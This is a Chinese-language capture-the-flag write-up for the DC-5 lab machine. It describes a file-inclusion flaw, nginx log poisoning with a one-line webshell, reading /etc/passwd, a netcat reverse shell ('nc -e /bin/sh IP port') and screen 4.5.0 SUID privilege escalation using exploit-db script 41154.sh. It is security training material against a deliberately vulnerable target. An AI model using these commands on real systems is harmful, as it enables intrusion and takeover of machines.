DC-5
信息收集
1、使用nmap扫描靶机,开放了111端口和80端口
2、111端口没有什么可以利用的点,只有80端口了,访问一下80端口
得知:网站使用的是Nginx的中间件,php语言
3、最终在Contact页面发现一个有交互的地方
4、尝试了很多没有发现问题所在,看了大佬的文章才知道。原来提交的内容之后,刷新thankyou.php页面,下方时间会有变化
5、之后使用DirBuster工具来扫描一下敏感文件
扫描到thankyou.php文件和footer文件,访问一下footer.php文件,发现该文件的内容就是之前提交之后下方显示的时间,这样的话,thankyou.php文件中应该包含了footer.php文件。所以thankyou.php文件应该是存在文件包含漏洞的
文件包含漏洞的利用
1、在Contact.php页面中填写完表单提交,然后使用bp抓包发送到repeater模块
2、然后不断发包,查看数字也会变化
3、读取/etc/passwd文件,能够读取,看来是确实存在文件包含漏洞的。
4、读取nginx配置文件信息,发现nginx日志记录文件路径
传一句话木马
6、进行包含时nginx的错误日志,利用一句话木马
反弹shell
1、利用一句话来反弹shell
首先在kali机上设置监听:nc -nlvp 1234
然后使用一句话 nc -e /bin/sh IP port 来反弹
成功反弹shell
2、 接受交互式的shell,因为之前得到的shell不太稳定,所以需要去拿到一个稳定的shell,使用命令:python -c “import pty;pty.spawn(‘/bin/bash’)”
3、查看系统相关的一些信息
3、查找具有SUID权限的文件
这两个命令都可以查找
1 | find / -user root -perm -4000 -print 2>/dev/null |
suid用来提权的一般有:Nmap 、Vim、 find、 Bash、 More 、Less、 Nano 、cp
但是都没有这些命令,有一个奇怪的screen-4.5.0,所以可以用这个来提权
提权
1、使用命令searchsploit来查询漏洞利用的脚本
searchsploit screen 4.5.0
2、利用POC这个脚本,将其先复制出来
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
3、查看一下脚本的使用
大概的步骤是分别将两部分的c代码编译为可执行文件,然后将其上传的靶机,按照提示的命令进行提权
1 | 第一步 |
详情有点小复杂,我也是参照了几个wp才成功,这里贴一个我觉得比较详细的https://blog.csdn.net/qq_34028816/article/details/124572718
之后编译并上传后直接运行sh文件就能提权成功
知识点总结
1、端口扫描,熟悉常见的端口
2、目录扫描,工具有:御剑、dirsearch、DirBuster等等
3、文件包含漏洞及其利用
4、searchsploit命令的使用
5、screen提权